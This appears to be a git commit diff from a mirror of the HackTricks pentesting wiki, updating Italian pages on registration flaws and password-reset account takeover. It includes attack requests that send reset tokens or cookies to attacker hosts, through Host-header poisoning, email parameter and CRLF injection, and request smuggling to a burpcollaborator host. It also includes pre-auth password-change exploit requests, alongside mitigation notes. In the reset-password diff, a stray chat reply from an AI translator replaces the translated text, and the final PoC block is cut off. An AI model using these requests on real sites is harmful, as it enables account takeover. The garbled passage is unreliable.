mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
a3d34e4e3f
commit
c237d66029
@ -1,79 +1,79 @@
|
||||
# Vulnerabilità di Registrazione e Presa di Controllo
|
||||
# Vulnerabilità di Registrazione & Takeover
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Presa di Controllo della Registrazione
|
||||
## Registration Takeover
|
||||
|
||||
### Registrazione Duplicata
|
||||
### Duplicate Registration
|
||||
|
||||
- Prova a generare utilizzando un nome utente esistente
|
||||
- Controlla variando l'email:
|
||||
- Prova a creare un account usando uno username esistente
|
||||
- Prova a variare l'email:
|
||||
- maiuscole
|
||||
- \+1@
|
||||
- aggiungi qualche punto nell'email
|
||||
- aggiungi dei punti nell'email
|
||||
- caratteri speciali nel nome dell'email (%00, %09, %20)
|
||||
- Metti caratteri neri dopo l'email: `test@test.com a`
|
||||
- Metti caratteri di spazio dopo l'email: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
- victim@attacker.com@gmail.com
|
||||
|
||||
### Enumerazione degli Username
|
||||
### Username Enumeration
|
||||
|
||||
Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.
|
||||
Verifica se riesci a determinare quando uno username è già stato registrato nell'applicazione.
|
||||
|
||||
### Politica delle Password
|
||||
### Password Policy
|
||||
|
||||
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
|
||||
In tal caso potresti provare a bruteforare le credenziali.
|
||||
Durante la creazione di un utente verifica la password policy (controlla se è possibile usare password deboli).\
|
||||
In tal caso puoi provare a bruteforce le credenziali.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
[**Controlla questa pagina** ](sql-injection/index.html#insert-statement)per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
|
||||
[**Check this page** ](sql-injection/index.html#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
|
||||
|
||||
### Presa di Controllo Oauth
|
||||
### Oauth Takeovers
|
||||
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
### Vulnerabilità SAML
|
||||
### SAML Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
saml-attacks/
|
||||
{{#endref}}
|
||||
|
||||
### Cambia Email
|
||||
### Change Email
|
||||
|
||||
Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
|
||||
Dopo la registrazione prova a cambiare l'email e verifica se questa modifica è correttamente validata o se è possibile cambiarla in email arbitrarie.
|
||||
|
||||
### Ulteriori Controlli
|
||||
### More Checks
|
||||
|
||||
- Controlla se puoi usare **email usa e getta**
|
||||
- **Password** **Lunghe** (>200) portano a **DoS**
|
||||
- **Controlla i limiti di velocità sulla creazione degli account**
|
||||
- Verifica se puoi usare **disposable emails**
|
||||
- **Password** **lunghe** (>200) causano **DoS**
|
||||
- **Verifica i rate limits sulla creazione degli account**
|
||||
- Usa username@**burp_collab**.net e analizza il **callback**
|
||||
|
||||
## **Presa di Controllo del Reset della Password**
|
||||
## **Password Reset Takeover**
|
||||
|
||||
### Perdita del Token di Reset della Password Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. Richiedi il reset della password al tuo indirizzo email
|
||||
2. Clicca sul link di reset della password
|
||||
2. Clicca sul password reset link
|
||||
3. Non cambiare la password
|
||||
4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
|
||||
4. Clicca qualsiasi sito di terze parti (es: Facebook, twitter)
|
||||
5. Intercetta la richiesta nel proxy di Burp Suite
|
||||
6. Controlla se l'intestazione referer sta perdendo il token di reset della password.
|
||||
6. Verifica se l'header referer sta leaking il token di reset della password.
|
||||
|
||||
### Avvelenamento del Reset della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Intercetta la richiesta di reset della password in Burp Suite
|
||||
2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Inoltra la richiesta con l'intestazione modificata\
|
||||
2. Aggiungi o modifica i seguenti header in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Inoltra la richiesta con l'header modificato\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Cerca un URL di reset della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Cerca un URL di reset della password basato sull'_host header_ come : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Reset della Password Tramite Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
@ -90,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
||||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR su Parametri API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
### IDOR sui parametri API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. L'attaccante deve accedere con il proprio account e andare alla funzione **Cambia password**.
|
||||
2. Avviare Burp Suite e intercettare la richiesta.
|
||||
3. Inviarla alla scheda ripetitore e modificare i parametri: User ID/email\
|
||||
1. L'attaccante deve effettuare il login con il proprio account e andare alla funzionalità **Change password**.
|
||||
2. Avviare Burp Suite e intercettare la richiesta
|
||||
3. Inviarla alla scheda repeater e modificare i parametri : User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Token di Reset Password Debole <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
### Token di reset password debole <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.\
|
||||
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
|
||||
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere usate dall'algoritmo.
|
||||
|
||||
- Timestamp
|
||||
- UserID
|
||||
- Email dell'utente
|
||||
- Nome e cognome
|
||||
- Data di nascita
|
||||
- Criptografia
|
||||
- Crittografia
|
||||
- Solo numeri
|
||||
- Sequenza di token piccola (caratteri tra \[A-Z,a-z,0-9])
|
||||
- Small token sequence ( characters between \[A-Z,a-z,0-9])
|
||||
- Riutilizzo del token
|
||||
- Data di scadenza del token
|
||||
|
||||
### Token di Reset Password in Fuga <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Attivare una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
|
||||
2. Ispezionare la risposta del server e controllare per `resetToken`
|
||||
3. Quindi utilizzare il token in un URL come `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
1. Genera una richiesta di reset della password usando l'API/UI per un'email specifica, es.: test@mail.com
|
||||
2. Ispeziona la risposta del server e verifica la presenza di `resetToken`
|
||||
3. Poi usa il token in un URL come `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Reset della Password Tramite Collisione di Nome Utente <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: `"admin "`
|
||||
2. Richiedi un reset della password con il tuo nome utente malevolo.
|
||||
1. Registrati nel sistema con uno username identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo lo username. e.g: `"admin "`
|
||||
2. Richiedi un reset della password con il tuo username malevolo.
|
||||
3. Usa il token inviato alla tua email e reimposta la password della vittima.
|
||||
4. Connettiti all'account della vittima con la nuova password.
|
||||
4. Accedi all'account della vittima con la nuova password.
|
||||
|
||||
La piattaforma CTFd era vulnerabile a questo attacco.\
|
||||
Vedi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Presa di Controllo dell'Account Tramite Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: `*.domain.com`
|
||||
2. Fuga l'attuale **cookie di sessione**
|
||||
3. Autenticati come utente utilizzando il cookie
|
||||
1. Trova una XSS dentro l'applicazione o in un sottodominio se i cookie sono scoped al dominio principale : `*.domain.com`
|
||||
2. Leak il current **sessions cookie**
|
||||
3. Autenticati come l'utente usando il cookie
|
||||
|
||||
### Presa di Controllo dell'Account Tramite HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. Usa **smuggler** per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. Crea una richiesta che sovrascriverà il `POST / HTTP/1.1` con i seguenti dati:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie\
|
||||
3\. La richiesta finale potrebbe apparire come la seguente
|
||||
2\. Modella una request che sovrascriva il `POST / HTTP/1.1` con i seguenti dati:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di aprire un redirect delle vittime su burpcollab e rubare i loro cookie\
|
||||
3\. La request finale potrebbe apparire come segue
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -153,29 +153,50 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone riporta l'esploitazione di questo bug\
|
||||
Hackerone segnala lo sfruttamento di questo bug\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
### Compromissione dell'account via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
|
||||
1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
|
||||
2. Invia il payload
|
||||
|
||||
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
### Compromissione dell'account via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token potrebbe essere utilizzato per autenticare un utente.
|
||||
JSON Web Token might be used to authenticate an user.
|
||||
|
||||
- Modifica il JWT con un altro User ID / Email
|
||||
- Controlla la firma JWT debole
|
||||
- Controlla la presenza di una firma JWT debole
|
||||
|
||||
|
||||
{{#ref}}
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert su Email esistente)
|
||||
|
||||
Alcuni signup handler eseguono un upsert quando l'email fornita esiste già. Se l'endpoint accetta un body minimale con email e password e non applica la verifica di proprietà, inviare l'email della vittima sovrascriverà la sua password pre-auth.
|
||||
|
||||
- Scoperta: raccogli i nomi degli endpoint dal bundled JS (o dal traffico dell'app mobile), poi esegui fuzzing sui percorsi base come /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
|
||||
- Indicazioni sul metodo: una GET che ritorna messaggi come "Only POST request is allowed." spesso indica il verbo corretto e che è atteso un body JSON.
|
||||
- Body minimo osservato nel mondo reale:
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Esempio di PoC:
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
Impatto: Full Account Takeover (ATO) senza alcun reset token, OTP, o email verification.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- L'header HTTP referer può esporre il token di password reset se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
|
||||
- **Impact**: Potenziale takeover dell'account tramite Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: Per verificare se un password reset token viene esposto nel referer header, **richiedi un password reset** al tuo indirizzo email e **clicca il reset link** fornito. **Non cambiare immediatamente la password**. Invece, **naviga su un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se il **referer header contiene il password reset token**, poiché questo potrebbe esporre informazioni sensibili a terze parti.
|
||||
- L'header HTTP referer può leakare il password reset token se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
|
||||
- **Impact**: Potenziale takeover dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
|
||||
- **Exploitation**: Per verificare se un password reset token sta leakando nell'header referer, **richiedi un password reset** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare subito la password**. Invece, **naviga su un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se l'**referer header contiene il password reset token**, poiché questo potrebbe esporre informazioni sensibili a terze parti.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,18 +14,18 @@
|
||||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||
- **Impact**: Può portare a un potenziale takeover dell'account esponendo i reset token agli attacker.
|
||||
- Gli attacker possono manipolare l'Host header durante le richieste di password reset per far puntare il link di reset a un sito malevolo.
|
||||
- **Impact**: Possibile takeover dell'account tramite leak dei reset token agli attacker.
|
||||
- **Mitigation Steps**:
|
||||
- Validare l'Host header contro una whitelist di domini consentiti.
|
||||
- Usare metodi sicuri lato server per generare URL assoluti.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- Valida l'Host header confrontandolo con una whitelist di domini consentiti.
|
||||
- Usa metodi sicuri lato server per generare URL assoluti.
|
||||
- **Patch**: Usa `$_SERVER['SERVER_NAME']` per costruire gli URL di password reset invece di `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
Gli attacker possono manipolare la richiesta di password reset aggiungendo parametri email addizionali per dirottare il link di reset.
|
||||
|
||||
- Aggiungi l'email dell'attacker come secondo parametro usando &
|
||||
```php
|
||||
@ -39,7 +39,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando |
|
||||
- Aggiungi l'email dell'attacker come secondo parametro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -51,128 +51,134 @@ POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Aggiungi attacker email come secondo parametro usando bcc
|
||||
Aggiungi l'indirizzo email dell'attacker come secondo parametro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro usando ,
|
||||
- Aggiungi attacker email come secondo parametro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Aggiungi l'email dell'attaccante come secondo parametro nell'array json
|
||||
Posso farlo, ma ho bisogno del contenuto (o della porzione di JSON) da modificare. In generale, basta aggiungere l'email dell'attaccante come secondo elemento dell'array JSON.
|
||||
|
||||
Esempio:
|
||||
- Prima: ["victim@example.com"]
|
||||
- Dopo: ["victim@example.com", "attacker@example.com"]
|
||||
|
||||
Se vuoi che aggiorni il file src/pentesting-web/reset-password.md, incolla qui il contenuto o conferma che posso applicare la modifica a tutte le occorrenze dell'array.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Passi di mitigazione**:
|
||||
- Analizzare e convalidare correttamente i parametri email lato server.
|
||||
- Usare prepared statements o query parametrizzate per prevenire attacchi di injection.
|
||||
- Analizza e valida correttamente i parametri email lato server.
|
||||
- Usa prepared statements o parameterized queries per prevenire injection attacks.
|
||||
- **Riferimenti**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Modifica di email e password di qualsiasi utente tramite parametri API**
|
||||
## **Modificare email e password di qualsiasi utente tramite i parametri API**
|
||||
|
||||
- Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
||||
- Gli attacker possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Mitigation Steps**:
|
||||
- Assicurarsi di effettuare una rigorosa validazione dei parametri e controlli di autenticazione.
|
||||
- Implementare logging e monitoring robusti per rilevare e rispondere ad attività sospette.
|
||||
- **Reference**:
|
||||
- **Passaggi di mitigazione**:
|
||||
- Assicurare una rigorosa validazione dei parametri e controlli di autenticazione.
|
||||
- Implementare logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
|
||||
- **Riferimento**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sommergendo l'utente con email di reset.
|
||||
- **Mitigation Steps**:
|
||||
- La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sovraccaricando l'utente con email di reset.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Implementare rate limiting basato su indirizzo IP o account utente.
|
||||
- Usare sfide CAPTCHA per prevenire abusi automatizzati.
|
||||
- **References**:
|
||||
- Usare CAPTCHA per prevenire abusi automatizzati.
|
||||
- **Riferimenti**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- Capire il pattern o il metodo dietro la generazione del token può portare a prevedere o brute-forcing dei token. Alcune opzioni:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **Mitigation Steps**:
|
||||
- Capire il pattern o il metodo dietro la generazione dei Password Reset Token può permettere di prevedere o brute-forzare i token. Alcune opzioni:
|
||||
- Basato su Timestamp
|
||||
- Basato sul UserID
|
||||
- Basato sull'email dell'utente
|
||||
- Basato su nome e cognome
|
||||
- Basato sulla data di nascita
|
||||
- Basato su metodi crittografici
|
||||
- **Passaggi di mitigazione**:
|
||||
- Usare metodi crittografici forti per la generazione dei token.
|
||||
- Garantire sufficiente entropia e lunghezza per prevenire prevedibilità.
|
||||
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
|
||||
- **Tools**: usare Burp Sequencer per analizzare la randomness dei token.
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
|
||||
- Se gli UUID (versione 1) sono indovinabili o predicibili, gli attaccanti possono brute-forzarli per generare reset token validi. Controlla:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Mitigation Steps**:
|
||||
- Use GUID version 4 for randomness or implement additional security measures for other versions.
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Usare GUID version 4 per maggiore randomness o implementare misure di sicurezza aggiuntive per altre versioni.
|
||||
- **Tools**: usare [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipulating HTTP responses to bypass error messages or restrictions.
|
||||
- **Mitigation Steps**:
|
||||
- Implement server-side checks to ensure response integrity.
|
||||
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
|
||||
- **Reference**:
|
||||
- Manipolare risposte HTTP per bypassare messaggi di errore o restrizioni.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Implementare controlli server-side per garantire l'integrità delle risposte.
|
||||
- Usare canali di comunicazione sicuri come HTTPS per prevenire man-in-the-middle.
|
||||
- **Riferimento**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testing whether expired tokens can still be used for password reset.
|
||||
- **Mitigation Steps**:
|
||||
- Implement strict token expiration policies and validate token expiry server-side.
|
||||
- Testare se token scaduti possono ancora essere usati per il password reset.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Implementare politiche rigorose di scadenza dei token e validare la scadenza server-side.
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
||||
- **Mitigation Steps**:
|
||||
- Implement robust rate-limiting and account lockout mechanisms.
|
||||
- Monitor for suspicious activities indicative of brute-force attacks.
|
||||
- Tentare di brute-force il reset token usando strumenti come Burpsuite e IP-Rotator per bypassare i rate limit basati su IP.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Implementare rate-limiting robusto e meccanismi di lockout degli account.
|
||||
- Monitorare attività sospette indicative di attacchi brute-force.
|
||||
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
||||
- **Mitigation Steps**:
|
||||
- Ensure that tokens are bound to the user session or other user-specific attributes.
|
||||
- Verificare se il reset token di un attaccante può essere usato insieme all'email della vittima.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Assicurarsi che i token siano vincolati alla sessione utente o ad altri attributi specifici dell'utente.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Ensuring that sessions are invalidated when a user logs out or resets their password.
|
||||
- **Mitigation Steps**:
|
||||
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
|
||||
- Assicurarsi che le sessioni vengano invalidate quando un utente effettua il logout o resetta la password.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Implementare una corretta gestione delle sessioni, assicurando che tutte le sessioni vengano invalidate al logout o al reset della password.
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Reset tokens should have an expiration time after which they become invalid.
|
||||
- **Mitigation Steps**:
|
||||
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
|
||||
- I reset token dovrebbero avere un tempo di scadenza dopo il quale diventano invalidi.
|
||||
- **Passaggi di mitigazione**:
|
||||
- Impostare un tempo di scadenza ragionevole per i reset token e applicarlo rigorosamente server-side.
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
|
||||
- **exploitation**:
|
||||
- basta richiedere un nuovo session token dopo essere stati bloccati dal server.
|
||||
- **Example** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione l'OTP cambierà anch'esso, e quindi non potremo fare brute-force sequenziale!):
|
||||
- Se il sito usa la sessione utente per tracciare i tentativi errati di OTP e l'OTP è debole (<= 4 cifre) allora si può effettivamente brute-forceare l'OTP.
|
||||
- **sfruttamento**:
|
||||
- Basta richiedere un nuovo session token dopo essere stati bloccati dal server.
|
||||
- **Esempio** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione anche l'OTP cambierà, quindi non potremo brute-forceare in modo sequenziale!):
|
||||
|
||||
``` python
|
||||
# Authentication bypass by password reset
|
||||
@ -233,7 +239,7 @@ print("[+] Attck stopped")
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change_password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel corpo della richiesta, un attaccante può resettare account arbitrari pre-auth.
|
||||
Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel body della richiesta, un attaccante può resettare account arbitrari pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
@ -255,21 +261,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Richiesta di Exploitation (concetto):
|
||||
Richiesta di exploitation (concetto):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigazioni:
|
||||
- Richiedere sempre un reset token valido e limitato nel tempo, vincolato all'account e alla sessione, prima di cambiare la password.
|
||||
- Non esporre mai i percorsi skipOldPwdCheck ad utenti non autenticati; richiedere l'autenticazione per le normali modifiche della password e verificare la password precedente.
|
||||
- Invalidare tutte le sessioni attive e i reset token dopo una modifica della password.
|
||||
Mitigations:
|
||||
- Richiedere sempre un reset token valido e limitato nel tempo, legato all'account e alla session, prima di cambiare la password.
|
||||
- Non esporre mai i percorsi skipOldPwdCheck a utenti non autenticati; imporre l'autenticazione per le normali modifiche della password e verificare la password precedente.
|
||||
- Invalidare tutte le sessioni attive e i reset token dopo un cambio password.
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
Alcune applicazioni implementano il signup handler come un upsert. Se l'email esiste già, l'handler aggiorna silenziosamente il record utente invece di rifiutare la richiesta. Quando l'endpoint di registrazione accetta un body JSON minimale con un'email esistente e una nuova password, diventa di fatto un pre-auth password reset senza alcuna verifica di proprietà, consentendo il completo account takeover.
|
||||
|
||||
Pre-auth ATO PoC (overwriting an existing user's password):
|
||||
```http
|
||||
